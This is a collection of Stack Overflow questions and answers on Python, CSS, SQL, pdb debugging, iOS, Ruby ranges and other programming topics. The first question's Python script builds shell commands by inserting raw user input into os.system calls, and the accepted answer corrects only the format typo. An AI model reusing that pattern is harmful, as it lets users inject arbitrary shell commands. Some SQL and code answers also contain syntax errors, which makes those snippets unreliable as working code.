} |
Q: What does TypeError: not all arguments converted during string formatting mean in python here is my first program it basically says stuff out loud and in different voices :
import os
print "Hello, Welcome to the speaking program"
speak = raw_input("What would you like to say?\n")
type = raw_input("Would you like\n1. Normal Voice\n2. High Pitched\n3. Low Pitched?\n4. Whisper\n5. Indian Voice\n Please choose 1,2,3,4 or 5\n")
if type == "1":
os.system("say %s " % speak)
if type == "2":
os.system("say -v good %s" % speak)
if type == "3":
os.system("say -v bad %s" % speak)
if type == "4":
os.system("say -v whisper %s" % speak)
if type == "5":
os.system("say -v sangeeta $s" % speak)
if type < "5":
os.system("echo that is not an option")
finish = raw_input("I have done the job, Pick an option\n1. Quit\n2. New Word\n3. Change Pitch\n")
if finish == "1":
quit()
if finish == "2":
os.system("clear")
os.system("python speak.py")
if finish == "3":
type2 = raw_input("Would you like\n1. Normal Voice\n2. High Pitched\n3. Low Pitched\nor\n4. Whisper voice?\n5.Indian Voice\n")
if type2 == "1":
os.system("say %s " % speak)
if type2 == "2":
os.system("say -v good %s" % speak)
if type2 == "3":
os.system("say -v bad %s" % speak)
if type == "4":
os.system("say -v whisper %s" % speak)
if type == "5":
os.system("say -v Sangeeta %s" % speak)
else:
print "That is not an option"
os.system("clear")
os.system("python speak.py")
else:
print "That is not an option !!! "
os.system("clear")
os.system("python speak.py")
finish = raw_input("I have done the job, Pick an option\n1. Quit\n2. New Word\n3. Change Pitch\n")
if finish == "1":
os.system("logout")
os.system("killall Terminal")
if finish == "2":
os.system("clear")
os.system("python speak.py")
if finish == "3":
type3 = raw_input("Would you like \n1. Normal Voice\n2. High Pitched\n3. Low Pitched?\n4. Whisper voice\n5.Indian Voice\n")
if type3 == "1":
os.system("say %s " % speak)
if type3 == "2":
os.system("say -v good %s" % speak)
if type3 == "3":
os.system("say -v bad %s" % speak)
if type3 == "4":
os.system("say -v whisper %s" % speak)
if type3 == "5":
os.system("say -v Sangeeta %s" % speak)
else:
print "That is not an option"
os.system("clear")
os.system("python speak.py")
and this is the error:
Shameers-MacBook-Pro:Test Programs Shameer$ !!
python speak.py
Hello, Welcome to the speaking program
What would you like to say?
hello
Would you like
1. Normal Voice
2. High Pitched
3. Low Pitched?
4. Whisper
5. Indian Voice
Please choose 1,2,3,4 or 5
5
Traceback (most recent call last):
File "speak.py", line 16, in <module>
os.system("say -v sangeeta $s" % speak)
TypeError: not all arguments converted during string formatting
Please help me. I am young and need some help. Will only down vote if you aren't trying to answer.
A: You put a dollar sign instead of a percent sign:
os.system("say -v sangeeta $s" % speak)
This should be:
os.system("say -v sangeeta %s" % speak)
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617042",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-1"
} |
Q: Text not aligning middle
As you can see the text is aligned towards the top instead of in the middle.
It occurs on chrome as well as firefox, various versions including latest.
Various Line-height / Font-size / Vertical-align doesnt fix anything, it always stays slightly upwards. I can't find a solution to what this causes?
There is really no fancy css added to it, this is just a blank h1 with padding to it.
A: I think you either have a padding or margin issue. Check to see if you are calling and what happens when you taken them off.
A: I found the solution. It is my Helvetica. (standard macbook pro font)
If I use arial it aligns nicely in the middle, if i use helvetica it is slightly (1px-ish) tilted upwards/downwards.
see what i mean here: jsfiddle.net/fgUf5
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617051",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: eBay Trading API LeaveFeedbackCall I am attempting to set seller feedback through the eBay Trading API, LeaveFeedbackCall. I am using the .NET SDK and am having difficulty assigning the feedback details. In the API description this is an array SelerItemRatingDetailsArray that holds ItemRatingDetails with two items, Rating (Int) and RatingDetail (FeedbackRatingDetailCodeType). The line of code I am using that is throwing an error follows.
apicall.SellerItemRatingDetailArrayList.Item("Communication").Rating = iCommunication.
iCommunication is an integer variable holding a value between 0 and 4.
Any assistance would be appreciated.
A: I think you need this code instead.
ItemRatingDetailsType itemRateing = new ItemRatingDetailsType();
itemRateing.RatingDetail = FeedbackRatingDetailCodeType.Communication;
itemRateing.Rateing = iCommunication;
apicall.SellerItemRatingDetailArrayList.Add( itemRateing);
C# syntax.
Basically you can not use the SellerItemRatingDetailArrayList like you were trying to.
Link: DetailedSellerRatings and LeaveFeedbackCallMembers
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617056",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Java getSystemJavaCompiler from JDK I am using ToolProvider.getSystemJavaCompiler();, but it is returning null because my JDK isn't in my PATH (and I can't put it there). How would I make getSystemJavaCompiler() use my JDK?
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617059",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Obtain location coordinates from UIButton I'm trying to obtain the coordinates of a UIButton that is in a subview of the mainviewcontroller. I can return them relative to the subview with the code below but how do I return the UIButton location as it relates to the mainviewcontroller?
ScrollingAppDelegate *appDelegate = (ScrollingAppDelegate *)[[UIApplication sharedApplication] delegate];
CGPoint canXY = appDelegate.globalcanButtonReference.frame.origin;
NSLog(@"%f %f",canXY.x,canXY.y);
A: Assuming you don't have a reference to all of the views, this should work:
CGPoint buttonOrigin = appDelegate.globalcanButtonReference.frame.origin;
CGPoint superViewOrigin = appDelegate.globalcanButtonReference.superview.frame.origin;
CGPoint pointInMainViewController = CGPointMake(buttonOrigin.x + superViewOrigin.x, buttonOrigin.y + superViewOrigin.y);
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617060",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Recursive Query in MYSQL? I think my problem is solved with a 'recursive query', but since MySQL doesn't support recursive queries I was trying to use the adjacent list model. This should not be a problem since I know how deep I want to go.
Here's an example of what I need to do:
Table Classes:
dept classNum prereqDept prereqClassNum
BIO 465 BIO 335
EE 405 EE 325
EE 325 EE 120
BIO 465 EE 120
BIO 335 BIO 225
BIO 225 CHEM 110
BIO 225 BIO 105
What I need is all the classes of a certain level (let's say 400) with all their prerequisites up to 3 levels deep.
So I'd get something like
dept classNum prereqDept prereqClassNum
BIO 465 BIO 335
BIO 465 BIO 225
BIO 465 CHEM 110
BIO 465 BIO 105
EE 405 EE 325
EE 405 EE 120
....
I know I need to use 3-LEFT JOINs if I want to go 3 levels deep, but I can't figure out how to set up these joins to get what I need.
Any ideas?
I'll appreacite your help!
P.S. I can't change the table structure at all.
A: I've run this and it gets all classes with (in this sample) up to 3 pre-requisites, but could be expanded to 4, 5, 6 just by copying the pairs based on "IDSeq = ?".
The critical element here is to get a number assigned to each record based on the common Dept + ClassNum each time starting with 1 at the beginning of each time the group changes. To do this, I've applied SQL Variables to FIRST Make sure that each group is sequenced 1, 2, 3... 1, 2, ... 1, ... 1, 2, 3, 4, 5... etc...
Result of Inner Query
Once this is done, we can do a simple group by with no other complex joining, joining, unioning, etc... Just apply a max() of an IF() based on the known sequence. As you can see the pattern, I'm getting whatever the row has for its prerequisite Dept and ClassNum provided that is the "1"st record, then again on the "2"nd, and "3"rd, but could be applied for the "4"th, "5"th, etc.
By using the max( if() ), every class will always have a 1 sequence, but only sometimes will have a 2, let alone a 3, 4 or 5. So, if there is NOT a value, it at least gets filled with blank spaces so it won't show null. Then, if/when there IS a value, the MAX() will supercede the blank spaces when it hits...
The final query is amazing and probably JUST what you need.
select
NewSet.Dept,
NewSet.ClassNum,
max( if( NewSet.IDSeq = 1, NewSet.PreReqDept, ' ' )) FirstDept,
max( if( NewSet.IDSeq = 1, NewSet.PreReqClassNum, ' ' )) FirstClassNum,
max( if( NewSet.IDSeq = 2, NewSet.PreReqDept, ' ' )) SecondDept,
max( if( NewSet.IDSeq = 2, NewSet.PreReqClassNum, ' ' )) SecondClassNum,
max( if( NewSet.IDSeq = 3, NewSet.PreReqDept, ' ' )) ThirdDept,
max( if( NewSet.IDSeq = 3, NewSet.PreReqClassNum, ' ' )) ThirdClassNum
from
( select
@orig := @orig +1 as OrigSeq,
@seq := if( concat(P.Dept, P.ClassNum ) = @LastGrp, @seq +1, 1 ) as IDSeq,
@LastGrp := concat( P.Dept, P.ClassNum ) NextGrp,
P.Dept,
P.ClassNum,
P.PreReqDept,
P.PreReqClassNum
from
PreReqs P,
( select @orig := 0, @seq := 0, @LastGrp := '' ) x
order by
Dept,
ClassNum ) NewSet
group by
NewSet.Dept,
NewSet.ClassNum
order by
NewSet.Dept,
NewSet.ClassNum
A: The way I would do it (not sure if there is anything easier). First get dependencies at one level (easy):
SELECT * FROM table;
Then two level down:
SELECT t.dept AS dept, t.classNum AS classNum, t2.prereqDept AS prereqDept, t2.prereqClassNum AS prereqClassNum FROM table AS t
LEFT JOIN table AS t2 WHERE t2.classNum = t.prereqClassNum;
Reuse that to go three level down:
SELECT t3.dept AS dept, t3.classNum AS classNum, t4.prereqDept AS prereqDept, t4.prereqClassNum AS prereqClassNum
FROM (
SELECT t.dept AS dept, t.classNum AS classNum, t2.prereqDept AS prereqDept, t2.prereqClassNum AS prereqClassNum FROM table AS t
LEFT JOIN table AS t2 WHERE t2.classNum = t.prereqClassNum
) AS t3
LEFT JOIN table AS t4 WHERE t4.classNum = t3.prereqClassNum;
Finally, you can just do a UNION of all those three queries.
(SELECT * FROM table)
UNION
(SELECT t.dept AS dept, t.classNum AS classNum, t2.prereqDept AS prereqDept, t2.prereqClassNum AS prereqClassNum FROM table AS t
LEFT JOIN table AS t2 WHERE t2.classNum = t.prereqClassNum)
UNION
(SELECT t3.dept AS dept, t3.classNum AS classNum, t4.prereqDept AS prereqDept, t4.prereqClassNum AS prereqClassNum
FROM (
SELECT t.dept AS dept, t.classNum AS classNum, t2.prereqDept AS prereqDept, t2.prereqClassNum AS prereqClassNum FROM table AS t
LEFT JOIN table AS t2 WHERE t2.classNum = t.prereqClassNum
) AS t3
LEFT JOIN table AS t4 WHERE t4.classNum = t3.prereqClassNum);
I did not check it works... but something like that should work...
A: Hmm. Try this:
SELECT * FROM
(
(
SELECT t1.dept, t1.classNum, t1.prereqDept, t1.prereqClassNum
FROM class AS t1
WHERE t1.classNum >= 400
)
UNION
(
SELECT t1.dept, t1.classNum, t2.prereqDept, t2.prereqClassNum
FROM class AS t1
JOIN class AS t2 ON (t1.prereqDept = t2.dept AND t1.prereqClassNum = t2.classNum)
WHERE t1.classNum >= 400
)
UNION
(
SELECT t1.dept, t1.classNum, t3.prereqDept, t3.prereqClassNum
FROM class AS t1
JOIN class AS t2 ON (t1.prereqDept = t2.dept AND t1.prereqClassNum = t2.classNum)
JOIN class AS t3 ON (t2.prereqDept = t3.dept AND t2.prereqClassNum = t3.classNum)
WHERE t1.classNum >= 400
)
) AS t4
ORDER BY dept, classNum, prereqDept, prereqClassNum
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617063",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: PDB won't stop on breakpoint I'm quite new with debugging directly with pdb and I am having some issues debugging my Django application. Here is what I'm doing:
python -m pdb manage.py runserver
(pdb) b core/views.py:22
Breakpoint 2 at /Users/raphaelcruzeiro/Documents/Projects/pdb_test/core/views.py:22
(Pdb) c
However the execution passes directly through the breakpoint. Am I missing some command? The manual doesn't elaborate on setting a breakpoint anymore than this.
A: When I've seen this problem in the past, it's usually because someone has set the breakpoint on a line that is not actually connected to a Python statement that is run. For example, blank lines, comment lines, the wrong part of a multi-line statement.
A: I've been through the same problem.
Try something like python -m pdb ./manage.py runserver --nothreading --noreload 127.0.0.1:8080. It solved the issue for me.
It seems that breakpoints with PDB are thread-specific, and the --nothreading and --noreload options are necessary to avoid some forking that may confuse PDB. This is also why set_trace works, as it's called directly inside the thread of interest.
A: One strange thing I have noticed is that the PDB prompt repeats your previous action when you repeatedly hit enter. Moreover, if you hit enter whilst your program is running, PDB buffers the input and applies it once the prompt appears. In my case, I was running a program using PDB c(ontinue). My program was writing lots of debug info to stdout during initialization, so I hit enter a couple of times to separate the already written output from the output that was going to be written once the breakpoint was triggered. Then, when I triggered the breakpoint via some external action, PDB would stop at the breakpoint but then apply a 'buffered enter' which repeated the c(ontinue) action. Once I stopped hitting enter it all started working normally.
This may sound a bit strange, and I haven't investigated this issue much, but it solved the problem for me. Maybe it helps someone else.
A: I usually prefer set_trace() in the source itself, that way the dev server will reload when added/removed, and I don't need to stop and start it again. For example:
def get_item(request):
import pdb; pdb.set_trace()
When the view is accessed, pdb will kick in.
A: I ran into this issue when writing a neural network in PyTorch. Similar to the accepted answer, the problem was that my DataLoader spun off multiple threads. Removing the num_workers argument allowed me to debug on a single thread.
train_loader = DataLoader(
train_dataset,
batch_size=batch_size,
num_workers=16, # <-------Remove this argument
pin_memory=True
)
If you are running into this issue, a simple fix would be to track down where in your code you are using multiprocessing, and adjust it to run a single thread.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617066",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "27"
} |
Q: Detect end of running process without Admin rights I was wondering if it was possible to detect when a certain process gets killed or closed the normal way. With other words if the process is removed from the process list.
I know it's possible by using WMI and the System.Management.ManagentEventWatcher, however this needs Administrator rights, I'd prefer if it's done without requiring those.
Since at the moment I use Process.Start("ProgramX.exe"); I'd like to find out when that program is closed or terminated. So that I can act upon that.
A: If you start the process yourself then you can wait for it to finish using Process.WaitForExit method. Note that waiting is a blocking operations and it's best if you do in in another thread, then signal the event from that thread.
Ex:
var process = Process.Start("ProgramX.exe");
...
process.WaitForExit();
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617074",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Grouping items that were created within a certain time of each other I have a bunch of products (500k or so) in a database that were created over the last several years and I'd like to group them together (Rails 2.3.14)
Ideally, they would be considered the same group if:
*
*They were created by the same company_id
*They were created within 10 minutes of each other
A rough pass at what I'm trying to accomplish:
def self.package_products
Company.each do |company|
package = Package.new
products = Product.find(:all, :conditions => [:company_id = company && created_around_similar_times])
package.contents = first_few_product_descriptions
package.save!
products.update_all(:package_id => package.id)
end
end
To me it smells bad though. I don't like looping through the companies and can't help but think there's a better way to do it. Does anyone have any sql-fu that can group similar items? Basically looking to find products from the same company that were created within 10 minutes of each other and assign them the same package_id.
A: This is hard to to in pure SQL. I would resort to a plpgsql procedure.
Say, your table looks like this:
(Next time, be so nice as to post a table definition. Worth more than a thousand words.)
create table p (
id serial primary key -- or whatever your primary key is!
, company_id int4 NOT NULL
, create_time timestamp NOT NULL
, for_sale bool NOT NULL
);
Use a plpgsql function like this:
CREATE OR REPLACE FUNCTION f_p_group()
RETURNS void AS
$BODY$
DECLARE
g_id integer := 1;
last_time timestamp;
last_company_id integer;
r p%ROWTYPE;
BEGIN
-- If the table is huge, special settings for these parameters will help
SET temp_buffers = '100MB'; -- more RAM for temp table, adjust to actual size of p
SET work_mem = '100MB'; -- more RAM for sorting
-- create temp table just like original.
CREATE TEMP TABLE tmp_p ON COMMIT DROP AS
SELECT * FROM p LIMIT 0; -- no rows yet
-- add group_id.
ALTER TABLE tmp_p ADD column group_id integer;
-- loop through table, write row + group_id to temp table
FOR r IN
SELECT * -- get the whole row!
FROM p
-- WHERE for_sale -- commented out, after it vanished from the question
ORDER BY company_id, create_time -- group by company_id first, there could be several groups intertwined
LOOP
IF r.company_id <> last_company_id OR (r.create_time - last_time) > interval '10 min' THEN
g_id := g_id + 1;
END IF;
INSERT INTO tmp_p SELECT r.*, g_id;
last_time := r.create_time;
last_company_id := r.company_id;
END LOOP;
TRUNCATE p;
ALTER TABLE p ADD column group_id integer; -- add group_id now
INSERT INTO p
SELECT * FROM tmp_p; -- ORDER BY something?
ANALYZE p; -- table has been rewritten, no VACUUM is needed.
END;
$BODY$
LANGUAGE plpgsql;
Call once, then discard:
SELECT f_p_group();
DROP FUNCTION f_p_group();
Now, all members of a group as per your definition share a group_id.
Edit after question edit
I put in a couple more things:
*
*Read the table into a temporary table (ordering in the process), do all the updates there, truncate the original table add group_id and write updated rows from the temp table in one go. Should be much faster and no vacuum needed afterwards. But you need some RAM for that
*for_sale ignored in query after it's not in the question any more.
*Read about %ROWTYPE.
*Read here about work_mem and temp_buffers.
*TRUNCATE, ANALYZE, TEMP TABLE, ALTER TABLE, ... all in the fine manual
*I tested it with pg 9.0. should work in 8.4 - 9.0 and probably older versions too.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617076",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Assigning NSMutableString To UILabel Text I am making a fraction calculator app from the Programming In Objective-C 2.0 book. I am using XCode 4.1 for Lion. I have completely and successfully without any error typed in the code. But when I press a number button while the app is running, the label doesn't input any text. When I press a number button, it should find the UIButton senders tag (which I have allocated)
-(IBAction)clickDigit:(UIButton *)sender {
int digit = sender.tag;
[self processDigit:digit];
}
and it gets sent to this code:
-(void)processDigit:(int)digit {
currentNumber = currentNumber * 10 + digit;
[displayString appendString:[NSString stringWithFormat:@"%i", digit]];
display.text = displayString;
NSLog(@"Processed");
}
The console DOES print Processed. Indicating that this button is working, so the problem lies in this line of code:
[displayString appendString:[NSString stringWithFormat:@"%i", digit]];
display.text = displayString;
display is a UILabel, it is an instance variable but it is not an IBOutlet but is declared as an IBOutlet in its property.
@property (nonatomic, retain)IBOutlet UILabel *display;
I have connected the label on the .xib screen using the connection to code assistant thing. I can literally connect it to the declarations. So I connected it to the property.
Now, the problem lies in the fact that display is a UILabel and its text property requires an NSString not a NSMutableString right? But an NSString cannot append a string and many other methods that I need it to do for this app. How can I make this work?
A: NSMutableString and NSString are mostly interchangeable. I.e. if a method requires an NSString, you can pass it an NSMutableString. This doesn't work the other way, though, and they are often copied and made immutable. i.e. even if you pass an NSMutableString to UILabel's text property, it will always return an NSString back.
I suspect you've got some other issue going on here.
That said, it's often easier to work with immutable strings than mutable ones.
You can change this code:
[displayString appendString:[NSString stringWithFormat:@"%i", digit]];
display.text = displayString;
into this code:
display.text = [displayString stringByAppendingString:[NSString stringWithFormat@"%i",digit]];
Because stringByAppendingString makes a new immutable string object with the contents of the receiver (displayString) and the string passed as a parameter ([NSString stringWithFormat:@"%i",digit]).
I suspect your issue is displayString is nil.
Add some NSLog's to find out...
*
*to -(IBAction)clickDigit:(UIButton *)sender add NSLog(@"Sender is %@",sender)
*to -(void)processDigit:(int)digit add NSLog(@"Digit is %i and displayString is %@ and display is %@", digit, displayString, display);
This should give you an idea of what objects are nil, or badly connected in Interface Builder.
A: i face the same problem , i discovered that I missed this line of code at the function " viewDidLoad " at the file "Fraction_CalculatorViewController.m"
displayString =[NSMutableString stringWithCapacity:40];
this will solve the problem iSA.
A: An NSMutableString is an NSString. More specifically, it's a subclass. Just assign it and it will work.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617079",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: How to retrieve all email addresses in Facebook through API Facebook users can add multiple email addresses. I know, with the extended "email" permission, you can retrieve the primary email address through the graph API. How do you retrieve the rest of the email addresses? This is important for my app so that I can find their existing account in my database rather than unnecessarily creating a new account.
A: The alternative email addresses are not available. They are not listed on the FQL table or the Graph API.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617085",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: css style fieldset i'm new to css and i'm trying to figure out a way to incorporate a legend tag as an
header for my page
currently my master page is styled by a field set :
fieldset.field_set_main
{
border-bottom-width:50px;
border-top-width:100px;
border-left-width:30px;
border-right-width:30px;
margin:auto;
width:1300px;
height:700px;
padding:0px 0px 0px 0px;
border-color:Black;
border-style:outset;
display:table;
}
legend.header
{
text-align:right;
}
<fieldset class="field_set_main" >
<legend class="header">
buy for you
</legend>
<asp:ContentPlaceHolder ID="ContentPlaceHolder1" runat="server">
</asp:ContentPlaceHolder>
</fieldset>
*
*The legend caption appears with its own background color "white" , if i set it to black
only the caption text itself "buy for you" get's black , it appears as a white box in the right of my border, Ii'm looking for a css style for the legend to appear as an header for the page
( with the same background color as the fieldset's background color , a different forecolor for the text ).
*Is there a footer element in the fieldset , i want a caption to appear at the bottom of the page as well.
*Any good sources for useful css styles ? especially for master pages styled with a main fieldset ?
A: It sounds like you're trying to use fieldset as a container for your entire page, and legend as a page header. This is a misuse of the semantics of those two elements.
If you need elements to wrap the page for styling, I highly recommend you change your markup and CSS to:
.field_set_main {
border: 30px solid black;
border-bottom-width:50px;
border-top-width:100px;
margin:auto;
width:1300px;
height:700px;
padding: 0;
display:table;
}
.header
{
text-align:right;
}
<div class="field_set_main" >
<h1 class="header">
buy for you
</h1>
<asp:ContentPlaceHolder ID="ContentPlaceHolder1" runat="server">
</asp:ContentPlaceHolder>
</div>
The legend field is notoriously hard to style consistently and completely, so I'd avoid its use unless it's semantically vital, which in your case it sounds like that's definitely not the case.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617090",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Create a range of strings from end values I use irb.
I write the code below.
"ax".."bc"
I expect
"ax""ay""az""ba"bb""bc"
But the result is just
"ax".."bc"
How should I correct?
Thanks.
A: > puts ("ax".."bc").to_a
ax
ay
az
ba
bb
bc
A: The range 'ax' .. 'bc' does represent the values that you expect but it doesn't generate them until it really needs to (as a way to save time and space in case you don't end up using each value). You can access them all via an interator or conversion to an array:
r = 'ax' .. 'bc' # => "ax" .. "bc"
r.class # => Range
r.to_a # => ["ax", "ay", "az", "ba", "bb", "bc"]
r.to_a.class # => Array
r.each {|x| puts x}
ax
ay
az
ba
bb
bc
A: Range is a builtin in construct, internally storing start and ending point (and whether it's an end-inclusive range) for efficiency. So IRB will just show you the literal for it.
What do you want to do?
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617092",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.